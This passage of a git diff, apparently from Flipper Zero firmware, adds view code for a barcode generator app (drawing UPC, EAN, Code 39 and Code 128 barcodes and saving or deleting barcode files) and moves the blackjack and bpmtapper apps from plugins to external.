= furi_string_get_char(barcode_digits, i); + + //the actual number and the index of the bits + int index = current_digit - '0'; + //use the L-codes for the first 4 digits and the R-Codes for the last 4 digits + if(i <= 3) { + furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); + } else { + furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); + } + + //convert the current_digit char into a string so it can be printed + char current_digit_string[2]; + snprintf(current_digit_string, 2, "%c", current_digit); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); + + //draw the bits of the barcode + x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); + + //if the index has reached 3, that means 4 digits have been drawn and now draw the center guard pattern + if(i == 3) { + x = draw_bits(canvas, center_bits, x, y, width, height + 5); + } + } + furi_string_free(code_part); + + //draw the ending guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); +} + +static void draw_ean_13(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* barcode_digits = barcode_data->correct_data; + BarcodeTypeObj* type_obj = barcode_data->type_obj; + + int barcode_length = furi_string_size(barcode_digits); + + int x = type_obj->start_pos; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + + //the guard patterns for the beginning, center, ending + const char* end_bits = "101"; + const char* center_bits = "01010"; + + //draw the starting guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); + + FuriString* left_structure = furi_string_alloc(); + FuriString* code_part = furi_string_alloc(); + + //loop through each digit, find the encoding, and draw it + for(int i = 0; i < barcode_length; i++) { + char current_digit = furi_string_get_char(barcode_digits, i); + int index = current_digit - '0'; + + if(i == 0) { + furi_string_set_str(left_structure, EAN_13_STRUCTURE_CODES[index]); + + //convert the current_digit char into a string so it can be printed + char current_digit_string[2]; + snprintf(current_digit_string, 2, "%c", current_digit); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, x - 10, y + height + 8, current_digit_string); + + continue; + } else { + //use the L-codes for the first 6 digits and the R-Codes for the last 6 digits + if(i <= 6) { + //get the encoding type at the current barcode bit position + char encoding_type = furi_string_get_char(left_structure, i - 1); + if(encoding_type == 'L') { + furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); + } else { + furi_string_set_str(code_part, EAN_G_CODES[index]); + } + } else { + furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); + } + + //convert the current_digit char into a string so it can be printed + char current_digit_string[2]; + snprintf(current_digit_string, 2, "%c", current_digit); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); + + //draw the bits of the barcode + x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); + + //if the index has reached 6, that means 6 digits have been drawn and we now draw the center guard pattern + if(i == 6) { + x = draw_bits(canvas, center_bits, x, y, width, height + 5); + } + } + } + + furi_string_free(left_structure); + furi_string_free(code_part); + + //draw the ending guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); +} + +/** + * Draw a UPC-A barcode +*/ +static void draw_upc_a(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* barcode_digits = barcode_data->correct_data; + BarcodeTypeObj* type_obj = barcode_data->type_obj; + + int barcode_length = furi_string_size(barcode_digits); + + int x = type_obj->start_pos; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + + //the guard patterns for the beginning, center, ending + char* end_bits = "101"; + char* center_bits = "01010"; + + //draw the starting guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); + + FuriString* code_part = furi_string_alloc(); + + //loop through each digit, find the encoding, and draw it + for(int i = 0; i < barcode_length; i++) { + char current_digit = furi_string_get_char(barcode_digits, i); + int index = current_digit - '0'; //convert the number into an int (also the index) + + //use the L-codes for the first 6 digits and the R-Codes for the last 6 digits + if(i <= 5) { + furi_string_set_str(code_part, UPC_EAN_L_CODES[index]); + } else { + furi_string_set_str(code_part, UPC_EAN_R_CODES[index]); + } + + //convert the current_digit char into a string so it can be printed + char current_digit_string[2]; + snprintf(current_digit_string, 2, "%c", current_digit); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + canvas_draw_str(canvas, x + 1, y + height + 8, current_digit_string); + + //draw the bits of the barcode + x = draw_bits(canvas, furi_string_get_cstr(code_part), x, y, width, height); + + //if the index has reached 6, that means 6 digits have been drawn and we now draw the center guard pattern + if(i == 5) { + x = draw_bits(canvas, center_bits, x, y, width, height + 5); + } + } + + furi_string_free(code_part); + + //draw the ending guard pattern + x = draw_bits(canvas, end_bits, x, y, width, height + 5); +} + +static void draw_code_39(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* raw_data = barcode_data->raw_data; + FuriString* barcode_digits = barcode_data->correct_data; + //BarcodeTypeObj* type_obj = barcode_data->type_obj; + + int barcode_length = furi_string_size(barcode_digits); + int total_pixels = 0; + + for(int i = 0; i < barcode_length; i++) { + //1 for wide, 0 for narrow + char wide_or_narrow = furi_string_get_char(barcode_digits, i); + int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit + + if(wn_digit == 1) { + total_pixels += 3; + } else { + total_pixels += 1; + } + if((i + 1) % 9 == 0) { + total_pixels += 1; + } + } + + int x = (128 - total_pixels) / 2; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + bool filled_in = true; + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); + canvas_draw_str_aligned( + canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); + + for(int i = 0; i < barcode_length; i++) { + //1 for wide, 0 for narrow + char wide_or_narrow = furi_string_get_char(barcode_digits, i); + int wn_digit = wide_or_narrow - '0'; //wide(1) or narrow(0) digit + + if(filled_in) { + if(wn_digit == 1) { + x = draw_bits(canvas, "111", x, y, width, height); + } else { + x = draw_bits(canvas, "1", x, y, width, height); + } + filled_in = false; + } else { + if(wn_digit == 1) { + x = draw_bits(canvas, "000", x, y, width, height); + } else { + x = draw_bits(canvas, "0", x, y, width, height); + } + filled_in = true; + } + if((i + 1) % 9 == 0) { + x = draw_bits(canvas, "0", x, y, width, height); + filled_in = true; + } + } +} + +static void draw_code_128(Canvas* canvas, BarcodeData* barcode_data) { + FuriString* raw_data = barcode_data->raw_data; + FuriString* barcode_digits = barcode_data->correct_data; + + int barcode_length = furi_string_size(barcode_digits); + + int x = (128 - barcode_length) / 2; + int y = BARCODE_Y_START; + int width = 1; + int height = BARCODE_HEIGHT; + + x = draw_bits(canvas, furi_string_get_cstr(barcode_digits), x, y, width, height); + + //set the canvas color to black to print the digit + canvas_set_color(canvas, ColorBlack); + // canvas_draw_str_aligned(canvas, 62, 30, AlignCenter, AlignCenter, error); + canvas_draw_str_aligned( + canvas, 62, y + height + 8, AlignCenter, AlignBottom, furi_string_get_cstr(raw_data)); +} + +static void barcode_draw_callback(Canvas* canvas, void* ctx) { + furi_assert(ctx); + BarcodeModel* barcode_model = ctx; + BarcodeData* data = barcode_model->data; + // const char* barcode_digits =; + + canvas_clear(canvas); + if(data->valid) { + switch(data->type_obj->type) { + case UPCA: + draw_upc_a(canvas, data); + break; + case EAN8: + draw_ean_8(canvas, data); + break; + case EAN13: + draw_ean_13(canvas, data); + break; + case CODE39: + draw_code_39(canvas, data); + break; + case CODE128: + draw_code_128(canvas, data); + break; + case UNKNOWN: + default: + break; + } + } else { + switch(data->reason) { + case WrongNumberOfDigits: + draw_error_str(canvas, "Wrong # of characters"); + break; + case InvalidCharacters: + draw_error_str(canvas, "Invalid characters"); + break; + case UnsupportedType: + draw_error_str(canvas, "Unsupported barcode type"); + break; + case FileOpening: + draw_error_str(canvas, "Could not open file"); + break; + case InvalidFileData: + draw_error_str(canvas, "Invalid file data"); + break; + case MissingEncodingTable: + draw_error_str(canvas, "Missing encoding table"); + break; + case EncodingTableError: + draw_error_str(canvas, "Encoding table error"); + break; + default: + draw_error_str(canvas, "Could not read barcode data"); + break; + } + } +} + +bool barcode_input_callback(InputEvent* input_event, void* ctx) { + UNUSED(ctx); + //furi_assert(ctx); + + //Barcode* test_view_object = ctx; + + if(input_event->key == InputKeyBack) { + return false; + } else { + return true; + } +} + +Barcode* barcode_view_allocate(BarcodeApp* barcode_app) { + furi_assert(barcode_app); + + Barcode* barcode = malloc(sizeof(Barcode)); + + barcode->view = view_alloc(); + barcode->barcode_app = barcode_app; + + view_set_context(barcode->view, barcode); + view_allocate_model(barcode->view, ViewModelTypeLocking, sizeof(BarcodeModel)); + view_set_draw_callback(barcode->view, barcode_draw_callback); + view_set_input_callback(barcode->view, barcode_input_callback); + + return barcode; +} + +void barcode_free_model(Barcode* barcode) { + with_view_model( + barcode->view, + BarcodeModel * model, + { + if(model->file_path != NULL) { + furi_string_free(model->file_path); + } + if(model->data != NULL) { + if(model->data->raw_data != NULL) { + furi_string_free(model->data->raw_data); + } + if(model->data->correct_data != NULL) { + furi_string_free(model->data->correct_data); + } + free(model->data); + } + }, + false); +} + +void barcode_free(Barcode* barcode) { + furi_assert(barcode); + + barcode_free_model(barcode); + view_free(barcode->view); + free(barcode); +} + +View* barcode_get_view(Barcode* barcode) { + furi_assert(barcode); + return barcode->view; +} \ No newline at end of file diff --git a/applications/external/barcode_gen/views/barcode_view.h b/applications/external/barcode_gen/views/barcode_view.h new file mode 100644 index 000000000..828428c08 --- /dev/null +++ b/applications/external/barcode_gen/views/barcode_view.h @@ -0,0 +1,23 @@ +#pragma once + +#include + +typedef struct BarcodeApp BarcodeApp; + +typedef struct { + View* view; + BarcodeApp* barcode_app; +} Barcode; + +typedef struct { + FuriString* file_path; + BarcodeData* data; +} BarcodeModel; + +Barcode* barcode_view_allocate(BarcodeApp* barcode_app); + +void barcode_free_model(Barcode* barcode); + +void barcode_free(Barcode* barcode); + +View* barcode_get_view(Barcode* barcode); diff --git a/applications/external/barcode_gen/views/create_view.c b/applications/external/barcode_gen/views/create_view.c new file mode 100644 index 000000000..23a5fa409 --- /dev/null +++ b/applications/external/barcode_gen/views/create_view.c @@ -0,0 +1,493 @@ +#include "../barcode_app.h" +#include "create_view.h" +#include + +#define LINE_HEIGHT 16 +#define TEXT_PADDING 4 +#define TOTAL_MENU_ITEMS 5 + +typedef enum { + TypeMenuItem, + FileNameMenuItem, + BarcodeDataMenuItem, + SaveMenuButton, + DeleteMenuButton +} MenuItems; + +/** + * Took this function from blackjack + * @author @teeebor +*/ +void draw_menu_item( + Canvas* const canvas, + const char* text, + const char* value, + int y, + bool left_caret, + bool right_caret, + bool selected) { + UNUSED(selected); + if(y < 0 || y >= 64) { + return; + } + + if(selected) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 0, y, 123, LINE_HEIGHT); + canvas_set_color(canvas, ColorWhite); + } + + canvas_draw_str_aligned(canvas, 4, y + TEXT_PADDING, AlignLeft, AlignTop, text); + if(left_caret) { + canvas_draw_str_aligned(canvas, 60, y + TEXT_PADDING, AlignLeft, AlignTop, "<"); + } + + canvas_draw_str_aligned(canvas, 90, y + TEXT_PADDING, AlignCenter, AlignTop, value); + if(right_caret) { + canvas_draw_str_aligned(canvas, 120, y + TEXT_PADDING, AlignRight, AlignTop, ">"); + } + + canvas_set_color(canvas, ColorBlack); +} + +void draw_button(Canvas* const canvas, const char* text, int y, bool selected) { + if(selected) { + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 0, y, 123, LINE_HEIGHT); + canvas_set_color(canvas, ColorWhite); + } + + canvas_draw_str_aligned(canvas, 64, y + TEXT_PADDING, AlignCenter, AlignTop, text); + + canvas_set_color(canvas, ColorBlack); +} + +static void app_draw_callback(Canvas* canvas, void* ctx) { + furi_assert(ctx); + + CreateViewModel* create_view_model = ctx; + + BarcodeTypeObj* type_obj = create_view_model->barcode_type; + if(create_view_model->barcode_type == NULL) { + return; + } + BarcodeType selected_type = type_obj->type; + + int selected_menu_item = create_view_model->selected_menu_item; + + int total_menu_items = create_view_model->mode == EditMode ? TOTAL_MENU_ITEMS : + TOTAL_MENU_ITEMS - 1; + + int startY = 0; + + //the menu items index that is/would be in view + //int current_last_menu_item = selected_menu_item + 3; + if(selected_menu_item > 1) { + int offset = 2; + if(selected_menu_item + offset > total_menu_items) { + offset = 3; + } + startY -= (LINE_HEIGHT * (selected_menu_item - offset)); + } + + //ensure that the scroll height is atleast 1 + int scrollHeight = ceil(64.0 / total_menu_items); + int scrollPos = scrollHeight * selected_menu_item; + + canvas_set_color(canvas, ColorBlack); + //draw the scroll bar box + canvas_draw_box(canvas, 125, scrollPos, 3, scrollHeight); + //draw the scroll bar track + canvas_draw_box(canvas, 126, 0, 1, 64); + + draw_menu_item( + canvas, + "Type", + type_obj->name, + TypeMenuItem * LINE_HEIGHT + startY, + selected_type > 0, + selected_type < NUMBER_OF_BARCODE_TYPES - 2, + selected_menu_item == TypeMenuItem); + + draw_menu_item( + canvas, + "Name", + furi_string_empty(create_view_model->file_name) ? + "--" : + furi_string_get_cstr(create_view_model->file_name), + FileNameMenuItem * LINE_HEIGHT + startY, + false, + false, + selected_menu_item == FileNameMenuItem); + + draw_menu_item( + canvas, + "Data", + furi_string_empty(create_view_model->barcode_data) ? + "--" : + furi_string_get_cstr(create_view_model->barcode_data), + BarcodeDataMenuItem * LINE_HEIGHT + startY, + false, + false, + selected_menu_item == BarcodeDataMenuItem); + + draw_button( + canvas, + "Save", + SaveMenuButton * LINE_HEIGHT + startY, + selected_menu_item == SaveMenuButton); + + if(create_view_model->mode == EditMode) { + draw_button( + canvas, + "Delete", + DeleteMenuButton * LINE_HEIGHT + startY, + selected_menu_item == DeleteMenuButton); + } +} + +void text_input_callback(void* ctx) { + CreateView* create_view_object = ctx; + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + if(create_view_object->setter == FileNameSetter) { + furi_string_set_str(model->file_name, create_view_object->input); + } + if(create_view_object->setter == BarcodeDataSetter) { + furi_string_set_str(model->barcode_data, create_view_object->input); + } + }, + true); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, CreateBarcodeView); +} + +static bool app_input_callback(InputEvent* input_event, void* ctx) { + furi_assert(ctx); + + if(input_event->key == InputKeyBack) { + return false; + } + + CreateView* create_view_object = ctx; + + //get the currently selected menu item from the model + int selected_menu_item = 0; + BarcodeTypeObj* barcode_type = NULL; + FuriString* file_name; + FuriString* barcode_data; + CreateMode mode; + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + selected_menu_item = model->selected_menu_item; + barcode_type = model->barcode_type; + file_name = model->file_name; + barcode_data = model->barcode_data; + mode = model->mode; + }, + true); + + int total_menu_items = mode == EditMode ? TOTAL_MENU_ITEMS : TOTAL_MENU_ITEMS - 1; + + if(input_event->type == InputTypePress) { + if(input_event->key == InputKeyUp && selected_menu_item > 0) { + selected_menu_item--; + } else if(input_event->key == InputKeyDown && selected_menu_item < total_menu_items - 1) { + selected_menu_item++; + } else if(input_event->key == InputKeyLeft) { + if(selected_menu_item == TypeMenuItem && barcode_type != NULL) { //Select Barcode Type + if(barcode_type->type > 0) { + barcode_type = barcode_type_objs[barcode_type->type - 1]; + } + } + } else if(input_event->key == InputKeyRight) { + if(selected_menu_item == TypeMenuItem && barcode_type != NULL) { //Select Barcode Type + if(barcode_type->type < NUMBER_OF_BARCODE_TYPES - 2) { + barcode_type = barcode_type_objs[barcode_type->type + 1]; + } + } + } else if(input_event->key == InputKeyOk) { + if(selected_menu_item == FileNameMenuItem && barcode_type != NULL) { + create_view_object->setter = FileNameSetter; + + snprintf( + create_view_object->input, + sizeof(create_view_object->input), + "%s", + furi_string_get_cstr(file_name)); + + text_input_set_result_callback( + create_view_object->barcode_app->text_input, + text_input_callback, + create_view_object, + create_view_object->input, + TEXT_BUFFER_SIZE - BARCODE_EXTENSION_LENGTH, //remove the barcode length + //clear default text + false); + text_input_set_header_text( + create_view_object->barcode_app->text_input, "File Name"); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, TextInputView); + } + if(selected_menu_item == BarcodeDataMenuItem && barcode_type != NULL) { + create_view_object->setter = BarcodeDataSetter; + + snprintf( + create_view_object->input, + sizeof(create_view_object->input), + "%s", + furi_string_get_cstr(barcode_data)); + + text_input_set_result_callback( + create_view_object->barcode_app->text_input, + text_input_callback, + create_view_object, + create_view_object->input, + TEXT_BUFFER_SIZE, + //clear default text + false); + text_input_set_header_text( + create_view_object->barcode_app->text_input, "Barcode Data"); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, TextInputView); + } + if(selected_menu_item == SaveMenuButton && barcode_type != NULL) { + save_barcode(create_view_object); + } + if(selected_menu_item == DeleteMenuButton && barcode_type != NULL) { + if(mode == EditMode) { + remove_barcode(create_view_object); + } else if(mode == NewMode) { + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, MainMenuView); + } + } + } + } + + //change the currently selected menu item + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + model->selected_menu_item = selected_menu_item; + model->barcode_type = barcode_type; + }, + true); + + return true; +} + +CreateView* create_view_allocate(BarcodeApp* barcode_app) { + furi_assert(barcode_app); + + CreateView* create_view_object = malloc(sizeof(CreateView)); + + create_view_object->view = view_alloc(); + create_view_object->barcode_app = barcode_app; + + view_set_context(create_view_object->view, create_view_object); + view_allocate_model(create_view_object->view, ViewModelTypeLocking, sizeof(CreateViewModel)); + view_set_draw_callback(create_view_object->view, app_draw_callback); + view_set_input_callback(create_view_object->view, app_input_callback); + + return create_view_object; +} + +void create_view_free_model(CreateView* create_view_object) { + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + if(model->file_path != NULL) { + furi_string_free(model->file_path); + } + if(model->file_name != NULL) { + furi_string_free(model->file_name); + } + if(model->barcode_data != NULL) { + furi_string_free(model->barcode_data); + } + }, + true); +} + +void remove_barcode(CreateView* create_view_object) { + Storage* storage = furi_record_open(RECORD_STORAGE); + + bool success = false; + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + FURI_LOG_I(TAG, "Attempting to remove file"); + if(model->file_path != NULL) { + FURI_LOG_I(TAG, "Removing File: %s", furi_string_get_cstr(model->file_path)); + if(storage_simply_remove(storage, furi_string_get_cstr(model->file_path))) { + FURI_LOG_I( + TAG, + "File: \"%s\" was successfully removed", + furi_string_get_cstr(model->file_path)); + success = true; + } else { + FURI_LOG_E(TAG, "Unable to remove file!"); + success = false; + } + } else { + FURI_LOG_E(TAG, "Could not remove barcode file"); + success = false; + } + }, + true); + furi_record_close(RECORD_STORAGE); + + with_view_model( + create_view_object->barcode_app->message_view->view, + MessageViewModel * model, + { + if(success) { + model->message = "File Deleted"; + } else { + model->message = "Could not delete file"; + } + }, + true); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, MessageErrorView); +} + +void save_barcode(CreateView* create_view_object) { + BarcodeTypeObj* barcode_type = NULL; + FuriString* file_path; //this may be empty + FuriString* file_name; + FuriString* barcode_data; + CreateMode mode; + + with_view_model( + create_view_object->view, + CreateViewModel * model, + { + file_path = model->file_path; + file_name = model->file_name; + barcode_data = model->barcode_data; + barcode_type = model->barcode_type; + mode = model->mode; + }, + true); + + if(file_name == NULL || furi_string_empty(file_name)) { + FURI_LOG_E(TAG, "File Name cannot be empty"); + return; + } + if(barcode_data == NULL || furi_string_empty(barcode_data)) { + FURI_LOG_E(TAG, "Barcode Data cannot be empty"); + return; + } + if(barcode_type == NULL) { + FURI_LOG_E(TAG, "Type not defined"); + return; + } + + bool success = false; + + FuriString* full_file_path = furi_string_alloc_set(DEFAULT_USER_BARCODES); + furi_string_push_back(full_file_path, '/'); + furi_string_cat(full_file_path, file_name); + furi_string_cat_str(full_file_path, BARCODE_EXTENSION); + + Storage* storage = furi_record_open(RECORD_STORAGE); + + if(mode == EditMode) { + if(!furi_string_empty(file_path)) { + if(!furi_string_equal(file_path, full_file_path)) { + FS_Error error = storage_common_rename( + storage, + furi_string_get_cstr(file_path), + furi_string_get_cstr(full_file_path)); + if(error != FSE_OK) { + FURI_LOG_E(TAG, "Rename error: %s", storage_error_get_desc(error)); + } else { + FURI_LOG_I(TAG, "Rename Success"); + } + } + } + } + + FlipperFormat* ff = flipper_format_file_alloc(storage); + + FURI_LOG_I(TAG, "Saving Barcode to: %s", furi_string_get_cstr(full_file_path)); + + bool file_opened_status = false; + if(mode == NewMode) { + file_opened_status = + flipper_format_file_open_new(ff, furi_string_get_cstr(full_file_path)); + } else if(mode == EditMode) { + file_opened_status = + flipper_format_file_open_always(ff, furi_string_get_cstr(full_file_path)); + } + + if(file_opened_status) { + // Filetype: Barcode + // Version: 1 + + // # Types - UPC-A, EAN-8, EAN-13, CODE-39 + // Type: CODE-39 + // Data: AB + flipper_format_write_string_cstr(ff, "Filetype", "Barcode"); + + flipper_format_write_string_cstr(ff, "Version", FILE_VERSION); + + flipper_format_write_comment_cstr(ff, "Types - UPC-A, EAN-8, EAN-13, CODE-39, CODE-128"); + + flipper_format_write_string_cstr(ff, "Type", barcode_type->name); + + flipper_format_write_string_cstr(ff, "Data", furi_string_get_cstr(barcode_data)); + + success = true; + } else { + FURI_LOG_E(TAG, "Save error"); + success = false; + } + furi_string_free(full_file_path); + flipper_format_free(ff); + furi_record_close(RECORD_STORAGE); + + with_view_model( + create_view_object->barcode_app->message_view->view, + MessageViewModel * model, + { + if(success) { + model->message = "File Saved!"; + } else { + model->message = "A saving error has occurred"; + } + }, + true); + + view_dispatcher_switch_to_view( + create_view_object->barcode_app->view_dispatcher, MessageErrorView); +} + +void create_view_free(CreateView* create_view_object) { + furi_assert(create_view_object); + + create_view_free_model(create_view_object); + view_free(create_view_object->view); + free(create_view_object); +} + +View* create_get_view(CreateView* create_view_object) { + furi_assert(create_view_object); + return create_view_object->view; +} \ No newline at end of file diff --git a/applications/external/barcode_gen/views/create_view.h b/applications/external/barcode_gen/views/create_view.h new file mode 100644 index 000000000..6063786d9 --- /dev/null +++ b/applications/external/barcode_gen/views/create_view.h @@ -0,0 +1,46 @@ +#pragma once + +#include + +typedef struct BarcodeApp BarcodeApp; + +typedef enum { + FileNameSetter, + BarcodeDataSetter +} InputSetter; //what value to set for the text input view + +typedef enum { + EditMode, + + NewMode +} CreateMode; + +typedef struct { + View* view; + BarcodeApp* barcode_app; + + InputSetter setter; + char input[TEXT_BUFFER_SIZE]; +} CreateView; + +typedef struct { + int selected_menu_item; + + CreateMode mode; + BarcodeTypeObj* barcode_type; + FuriString* file_path; //the current file that is opened + FuriString* file_name; + FuriString* barcode_data; +} CreateViewModel; + +CreateView* create_view_allocate(BarcodeApp* barcode_app); + +void remove_barcode(CreateView* create_view_object); + +void save_barcode(CreateView* create_view_object); + +void create_view_free_model(CreateView* create_view_object); + +void create_view_free(CreateView* create_view_object); + +View* create_get_view(CreateView* create_view_object); diff --git a/applications/external/barcode_gen/views/message_view.c b/applications/external/barcode_gen/views/message_view.c new file mode 100644 index 000000000..13e238381 --- /dev/null +++ b/applications/external/barcode_gen/views/message_view.c @@ -0,0 +1,72 @@ +#include "../barcode_app.h" +#include "message_view.h" + +static void app_draw_callback(Canvas* canvas, void* ctx) { + furi_assert(ctx); + + MessageViewModel* message_view_model = ctx; + + canvas_clear(canvas); + if(message_view_model->message != NULL) { + canvas_draw_str_aligned( + canvas, 62, 30, AlignCenter, AlignCenter, message_view_model->message); + } + + canvas_set_color(canvas, ColorBlack); + canvas_draw_box(canvas, 100, 52, 28, 12); + canvas_set_color(canvas, ColorWhite); + canvas_draw_str_aligned(canvas, 114, 58, AlignCenter, AlignCenter, "OK"); +} + +static bool app_input_callback(InputEvent* input_event, void* ctx) { + furi_assert(ctx); + + MessageView* message_view_object = ctx; + + if(input_event->key == InputKeyBack) { + view_dispatcher_switch_to_view( + message_view_object->barcode_app->view_dispatcher, MainMenuView); + } + if(input_event->type == InputTypeShort) { + if(input_event->key == InputKeyOk) { + view_dispatcher_switch_to_view( + message_view_object->barcode_app->view_dispatcher, MainMenuView); + } + } + + return true; +} + +MessageView* message_view_allocate(BarcodeApp* barcode_app) { + furi_assert(barcode_app); + + MessageView* message_view_object = malloc(sizeof(MessageView)); + + message_view_object->view = view_alloc(); + message_view_object->barcode_app = barcode_app; + + view_set_context(message_view_object->view, message_view_object); + view_allocate_model(message_view_object->view, ViewModelTypeLocking, sizeof(MessageViewModel)); + view_set_draw_callback(message_view_object->view, app_draw_callback); + view_set_input_callback(message_view_object->view, app_input_callback); + + return message_view_object; +} + +void message_view_free_model(MessageView* message_view_object) { + with_view_model( + message_view_object->view, MessageViewModel * model, { UNUSED(model); }, true); +} + +void message_view_free(MessageView* message_view_object) { + furi_assert(message_view_object); + + message_view_free_model(message_view_object); + view_free(message_view_object->view); + free(message_view_object); +} + +View* message_get_view(MessageView* message_view_object) { + furi_assert(message_view_object); + return message_view_object->view; +} diff --git a/applications/external/barcode_gen/views/message_view.h b/applications/external/barcode_gen/views/message_view.h new file mode 100644 index 000000000..33acc3d0c --- /dev/null +++ b/applications/external/barcode_gen/views/message_view.h @@ -0,0 +1,22 @@ +#pragma once + +#include + +typedef struct BarcodeApp BarcodeApp; + +typedef struct { + View* view; + BarcodeApp* barcode_app; +} MessageView; + +typedef struct { + const char* message; +} MessageViewModel; + +MessageView* message_view_allocate(BarcodeApp* barcode_app); + +void message_view_free_model(MessageView* message_view_object); + +void message_view_free(MessageView* message_view_object); + +View* message_get_view(MessageView* message_view_object); diff --git a/applications/plugins/blackjack/application.fam b/applications/external/blackjack/application.fam similarity index 90% rename from applications/plugins/blackjack/application.fam rename to applications/external/blackjack/application.fam index 6ca8add37..04b214e3c 100644 --- a/applications/plugins/blackjack/application.fam +++ b/applications/external/blackjack/application.fam @@ -3,7 +3,6 @@ App( name="BlackJack", apptype=FlipperAppType.EXTERNAL, entry_point="blackjack_app", - cdefines=["APP_BLACKJACK"], requires=["gui", "storage", "canvas"], stack_size=2 * 1024, order=30, diff --git a/applications/plugins/blackjack/assets/blackjack.png b/applications/external/blackjack/assets/blackjack.png similarity index 100% rename from applications/plugins/blackjack/assets/blackjack.png rename to applications/external/blackjack/assets/blackjack.png diff --git a/applications/plugins/blackjack/assets/card_graphics.png b/applications/external/blackjack/assets/card_graphics.png similarity index 100% rename from applications/plugins/blackjack/assets/card_graphics.png rename to applications/external/blackjack/assets/card_graphics.png diff --git a/applications/plugins/blackjack/assets/endscreen.png b/applications/external/blackjack/assets/endscreen.png similarity index 100% rename from applications/plugins/blackjack/assets/endscreen.png rename to applications/external/blackjack/assets/endscreen.png diff --git a/applications/plugins/blackjack/blackjack.c b/applications/external/blackjack/blackjack.c similarity index 100% rename from applications/plugins/blackjack/blackjack.c rename to applications/external/blackjack/blackjack.c diff --git a/applications/plugins/blackjack/blackjack_10px.png b/applications/external/blackjack/blackjack_10px.png similarity index 100% rename from applications/plugins/blackjack/blackjack_10px.png rename to applications/external/blackjack/blackjack_10px.png diff --git a/applications/plugins/blackjack/common/card.c b/applications/external/blackjack/common/card.c similarity index 100% rename from applications/plugins/blackjack/common/card.c rename to applications/external/blackjack/common/card.c diff --git a/applications/plugins/blackjack/common/card.h b/applications/external/blackjack/common/card.h similarity index 100% rename from applications/plugins/blackjack/common/card.h rename to applications/external/blackjack/common/card.h diff --git a/applications/plugins/blackjack/common/dml.c b/applications/external/blackjack/common/dml.c similarity index 100% rename from applications/plugins/blackjack/common/dml.c rename to applications/external/blackjack/common/dml.c diff --git a/applications/plugins/blackjack/common/dml.h b/applications/external/blackjack/common/dml.h similarity index 100% rename from applications/plugins/blackjack/common/dml.h rename to applications/external/blackjack/common/dml.h diff --git a/applications/plugins/blackjack/common/menu.c b/applications/external/blackjack/common/menu.c similarity index 100% rename from applications/plugins/blackjack/common/menu.c rename to applications/external/blackjack/common/menu.c diff --git a/applications/plugins/blackjack/common/menu.h b/applications/external/blackjack/common/menu.h similarity index 100% rename from applications/plugins/blackjack/common/menu.h rename to applications/external/blackjack/common/menu.h diff --git a/applications/plugins/blackjack/common/queue.c b/applications/external/blackjack/common/queue.c similarity index 100% rename from applications/plugins/blackjack/common/queue.c rename to applications/external/blackjack/common/queue.c diff --git a/applications/plugins/blackjack/common/queue.h b/applications/external/blackjack/common/queue.h similarity index 100% rename from applications/plugins/blackjack/common/queue.h rename to applications/external/blackjack/common/queue.h diff --git a/applications/plugins/blackjack/common/ui.c b/applications/external/blackjack/common/ui.c similarity index 100% rename from applications/plugins/blackjack/common/ui.c rename to applications/external/blackjack/common/ui.c diff --git a/applications/plugins/blackjack/common/ui.h b/applications/external/blackjack/common/ui.h similarity index 100% rename from applications/plugins/blackjack/common/ui.h rename to applications/external/blackjack/common/ui.h diff --git a/applications/plugins/blackjack/defines.h b/applications/external/blackjack/defines.h similarity index 100% rename from applications/plugins/blackjack/defines.h rename to applications/external/blackjack/defines.h diff --git a/applications/plugins/blackjack/ui.c b/applications/external/blackjack/ui.c similarity index 100% rename from applications/plugins/blackjack/ui.c rename to applications/external/blackjack/ui.c diff --git a/applications/plugins/blackjack/ui.h b/applications/external/blackjack/ui.h similarity index 100% rename from applications/plugins/blackjack/ui.h rename to applications/external/blackjack/ui.h diff --git a/applications/plugins/blackjack/util.c b/applications/external/blackjack/util.c similarity index 100% rename from applications/plugins/blackjack/util.c rename to applications/external/blackjack/util.c diff --git a/applications/plugins/blackjack/util.h b/applications/external/blackjack/util.h similarity index 100% rename from applications/plugins/blackjack/util.h rename to applications/external/blackjack/util.h diff --git a/applications/plugins/bpmtapper/LICENSE b/applications/external/bpmtapper/LICENSE similarity index 100% rename from applications/plugins/bpmtapper/LICENSE rename to applications/external/bpmtapper/LICENSE 